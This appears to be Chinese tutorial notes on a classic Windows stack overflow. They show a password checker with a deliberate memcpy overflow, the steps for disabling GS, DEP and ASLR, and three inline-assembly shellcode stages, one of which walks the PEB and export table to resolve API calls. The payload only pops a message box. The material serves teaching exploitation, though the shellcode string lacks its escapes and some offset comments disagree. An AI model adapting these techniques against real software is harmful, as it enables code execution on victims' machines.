典型栈溢出A-代码分析
ShellCode-A
#include "pch.h"
#include <iostream>
#include <Windows.h>
#define PASSWORD "15PB"
// GS: 用于判断当前是否产生了溢出,依赖的是检查安全 cookie, CheckStackValue
// inline: 没有关闭代码优化,导致一些简单的代码被直接内联了
// dep: 这个程序中不关闭 DEP 会导致 shellcode 无法执行
// aslr: 地址空间随机化,栈和加载基址等都不是固定的,需要关闭它
int VerifyPassword(char *pszPassword, int nSize)
{
// szBuffer 是溢出的数组,溢出的数据被保存在这个位置
char szBuffer[50] = {0};
// 崩溃产生的原因是 nSize 作为拷贝的大小,超出了栈的范围
memcpy(szBuffer, pszPassword, nSize);
return strcmp(PASSWORD, szBuffer);
}
int main()
{
int nFlag = 0;
char szPassword[0x200] = {0};
int nFileSize = 0;
FILE *fp;
LoadLibraryA("user32.dll");
if (NULL==(fp=fopen("password.txt","rb")))
{
MessageBoxA(NULL, "打开文件失败", "error", NULL);
exit(0);
}
fseek(fp, 0, SEEK_END);
nFileSize = ftell(fp);
rewind(fp);
fread(szPassword, nFileSize, 1, fp);
nFlag = VerifyPassword(szPassword, nFileSize);
if (nFlag)
{
printf("密码错误");
}
else
{
printf("密码正确");
}
fclose(fp);
system("pause");
return 0;
}
禁用安全检查
禁用优化
禁用随机地址
在同个文件夹下面创建password.txt。输入很多A,让程序崩溃。
控制面板-管理工具-日志-程序应用
因为我输入的是全部A的一长串,所以这里显示41是A的ascii吗。
找到的MessageBoxA地址是76FA1F85
用010Editor修改。会弹出白框。
ShellCode-B
#include "pch.h"
#include <iostream>
#include <windows.h>
int main()
{
__asm
{
SUB ESP, 0x20
JMP tag_Shellcode
_asm _emit(0x70)_asm _emit(0x1F)_asm _emit(0xFA)_asm _emit(0x76)
_asm _emit(0x20)_asm _emit(0x4F)_asm _emit(0x2F)_asm _emit(0x77)
_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
_asm _emit(0x00)
tag_Shellcode:
CALL tag_Next
tag_Next :
POP ESI
XOR EDX, EDX
LEA EDI, [ESI - 0X12]
MOV EAX, [ESI - 0X1A]
PUSH EDX
PUSH EDI
PUSH EDI
PUSH EDX
CALL EAX
MOV EAX, [ESI - 0X16]
PUSH EDX
CALL EAX
}
MessageBoxA(0, 0, 0, 0);
}
详细讲解:
ShellCode-C
#include <windows.h>
// 定义成数组是为了让字符串不被保存在常量区
char shellcode[] = "x83xECx20xEBx15x80x03xB4x77xF0x58x72x77x48x65x6Cx6Cx6Fx20x57x6Fx72x6Cx64x21x00xE8x00x00x00x00x5Ex33xD2x8Dx7ExEEx8Bx46xE6x52x57x57x52xFFxD0x8Bx46xEAx52xFFxD0";
// dep: 数据执行保护,防止数据区域被作为代码执行
int main()
{
/*__asm
{
; 如果没有开辟栈帧,那么在操作 ebp 和 esp 的地址时,极有可能
; 会覆盖掉已执行或未执行的 shellcode 代码,所以通常需要开辟空间
; 并且开辟的大小应该要大于 OPCODE 的长度
sub esp, 0x20
; 跳转到 shellcode 区域
jmp tag_Shellcode
; (getpc() - 0x1A) MessageBoxA 的地址,由于通常使用小端存储,需要按字节颠倒顺序
_asm _emit(0x80) _asm _emit(0x03) _asm _emit(0xB4) _asm _emit(0x77)
; (getpc() - 0x16) ExitProcess 的地址,同样通过 ctrl + g 找到的
_asm _emit(0xF0) _asm _emit(0x58) _asm _emit(0x72) _asm _emit(0x77)
; (getpc() - 0x12) Hello 15Pb 字符串,_emit 添加一个字符到所在位置
_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
_asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
_asm _emit(0x00)
; 使用了 GetPC 技术,用于获取一个基址,作为参照物
tag_Shellcode:
call tag_next
tag_next:
; call 会使当前指令的地址入栈, pop 获取了当前指令地址
; 将当前指令所在的地址,作为想要查找的数据的参照基址
pop esi
; 获取函数地址和参数,并且调用 MessageBoxA
xor edx, edx
lea edi, [esi - 0x12]
mov eax, [esi - 0x1A]
push edx
push edi
push edi
push edx
call eax
; 获取 ExitProcess 函数,退出程序
mov eax, [esi - 0x16]
push edx
call eax
}*/
__asm
{
lea eax, shellcode
push eax
ret
}
// 为了让当前程序中存在 MessageBoxA 这个函数
MessageBoxA(0, 0, 0, 0);
}
// 通过使用 jmp esp 地址覆盖返回地址,使 ret 时,跳转到 jmp esp 指令 位置
// jmp esp 的地址会因为 ret 而被 pop 出来,所以 shellcode 需要紧跟着写在
// jmp esp 地址的后面。
ShellCode-G
#include "pch.h"
#include <iostream>
#include <windows.h>
int main()
{
__asm
{
PUSHAD
SUB ESP, 0x20 //开辟一段栈空间,增加健壮性。
JMP tag_Shellcode //前置代码,避免后面的数据被解释为指令
// GetProcAddress
// [tag_Next-0x51]
_asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)
_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)_asm _emit(0x41)
_asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65)
_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)
// LoadLibraryExA
// [tag_Next-0x43]
_asm _emit(0x4C)_asm _emit(0x6F)_asm _emit(0x61)_asm _emit(0x64)
_asm _emit(0x4C)_asm _emit(0x69)_asm _emit(0x62)_asm _emit(0x72)
_asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45)
_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)
// User32.DLL
// [tag_Next-0x34]
_asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
// MessageBoxA
// [tag_Next-0x19]
_asm _emit(0x4D)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)
_asm _emit(0x61)_asm _emit(0x67)_asm _emit(0x65)_asm _emit(0x42)
_asm _emit(0x6F)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)
// ExitProcess
// [tag_Next-0x1D]
_asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)
_asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)
_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)
// HelloWorld!
// 因为Call tag_Next=push eip+jmp tag_Next的地址.
// 所以这里是[tag_Next-0x11]
// -0x12是因为这里_emit插入了12个字符,机器码位置+12+5个call的字节之后就是tag_Next的机器码位置。
_asm _emit(0x48)_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x6F)_asm _emit(0x20)_asm _emit(0x57)_asm _emit(0x6F)
_asm _emit(0x72)_asm _emit(0x6C)_asm _emit(0x64)_asm _emit(0x00)
// 1.GetPC
tag_Shellcode:
CALL tag_Next
tag_Next :
pop ebx //ebx = BaseAddr
// 2.获取关键模块基址
mov esi,dword ptr fs:[0x30] // esi = PEB的地址
mov esi,[esi+0x0C] // esi = 指向PEB_LDR_DATA结构的指针
mov esi,[esi+0x1C] // esi = 模块链表指针InInit..List
mov esi,[esi] // esi = 访问链表中的第二个条目
mov edx,[esi+0x08] // edx = 获取Kernel32.dll基址
// 3.获取GetProcAddress的函数地址
push ebx // BaseAddr
push edx // Kernel32.dll
call fun_GetProcAddress
mov esi,eax
// 4.获取LoadLibraryExA的函数地址
lea ecx,[ebx-0x43] // LoadLibraryEXw
push ecx // 传参-lpProcName=LoadLibraryExA
push edx // 传参-hModule=Kernel32.dll
call eax // GetProcAddress
// 5.调用Payload部分
push ebx //BaseAddr
push esi //Addr_GetProcAddress
push eax //Addr_LoadLibraryExA
push edx //Kernerl32.dll
call fun_Payload //调用Payload
//////////////////////////////////////////////////////////////////////////
// 函数:获取关键函数地址,返回值为关键函数地址
//////////////////////////////////////////////////////////////////////////
fun_GetProcAddress://(int ImageBase,int BaseAddr)
push ebp
mov ebp,esp
sub esp,0x0C
push edx
// 获取EAT ENT EOT
mov edx,[ebp+0x08] // 第二个参数Kernel32.dll
mov esi,[edx+0x3C] // IMAGE_DOS_HEADER.E_LFANEW
lea esi,[edx+esi] // PE文件头VA
mov esi,[esi+0x78] // IMAGE_DIR...EXPORT.VirtualAddress
lea esi,[edx+esi] // 导出表VA
mov edi,[esi+0x1C] // IMAGE_EXP...ORY.AddressOfFuntions
lea edi,[edx+edi] // EAT VA
mov [ebp-0x04],edi // LOCAL_1
mov edi,[esi+0x20] // IMAGE_EXP...ORY.AddressOfNames
lea edi,[edx+edi] // ENT VA
mov [ebp-0x08],edi // LOCAL_2
mov edi,[esi+0x24] // IMAGE_EXP...ORY.AddressOfNameOrdinals
lea edi,[edx+edi] // EOT VA
mov [ebp-0x0C],edi // LOCAL_3
xor eax,eax // 清零
jmp tag_FirstCmp
tag_CmpFunNameLoop: //
inc eax // 循环计数增加1
tag_FirstCmp:
mov esi,[ebp-0x08] // LOCAL_2 ENT
mov esi,[esi+4*eax] // ENT RVA 数组 eax为i
mov edx,[ebp+0x08] // PARAM_1 =IMAGEBASE
lea esi,[edx+esi] // ENT VA=IMAGEBASE+RVA
mov ebx,[ebp+0x0C] // PARAM_2 =BaseAddr
lea edi,[ebx-0x52] // GetProcAddress
mov ecx,0x0E // GetProcAddress长度
cld
repe cmpsb
jne tag_CmpFunNameLoop // 如果不相等就继续比较
// 3.成功后找到对应的序号
mov esi,[ebp-0x0C] // LOCAL_3(EOT)
xor edi,edi
mov di,[esi+eax*2] // 用函数名数组下标在序号数组找到对应的序号
// 4.使用序号作为索引,找到函数名所对应的函数地址
mov edx,[ebp-0x04] // LOCAL_1(EAT)
mov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址
mov edx,[ebp+0x08] // PARAM_1(ImageBase)
// 5.返回获取到的关键函数地址
lea eax,[edx+esi] //GetProcAddress的地址
pop edx
mov esp,ebp
pop ebp
retn 0x08
//////////////////////////////////////////////////////////////////////////
//函数:有效载荷部分,返回值为NULL
//////////////////////////////////////////////////////////////////////////
fun_Payload://(int Kernel32_Base,int LoadLibraryExW,int GetProcAddress,int BaseAddr)
PUSH EBP
MOV EBP,ESP
SUB ESP,0x08
MOV EBX,[EBP+0x14] // PARAM_4(BaseAddr)
// 1.获取MessageBoxA的地址
LEA ECX,[EBX-0x34] // User32.dll
PUSH 0 // dwFlags=0
PUSH 0 // hFile =0
PUSH ECX // lpLibFileName =User32.dll
CALL [EBP+0X0C] // LoadLibraryExA()
LEA ECX,[EBX-0X29] // MessageBoxA
PUSH ECX // lpProcName=MessageBoxA
PUSH EAX // hMoudule =User32.dll基址
CALL [EBP+0X10] // GetProcAddress()
MOV [EBP-0X04],EAX
// 2.获取ExitProcess的函数地址
LEA ECX,[EBX-0X1D] // ExitProcess
PUSH ECX // lpProcName=ExitProcess
PUSH [EBP+0X08] // hModule =Kernel32.dll
CALL [EBP+0X10] // GetProcAddress()
MOV [EBP-0X08],EAX
// 3.显示helloworld
LEA ECX,[EBX-0X11] // Hello World
PUSH 0 // uType
PUSH ECX // lpCaption
PUSH ECX // lpText
PUSH 0 // hWnd
CALL [EBP-0X04] // MessageBoxA()
PUSH 0 // uExitCode=0
CALL [EBP-0X08] // ExitProcess()
MOV ESP,EBP
POP EBP
RETN 0X10
}
}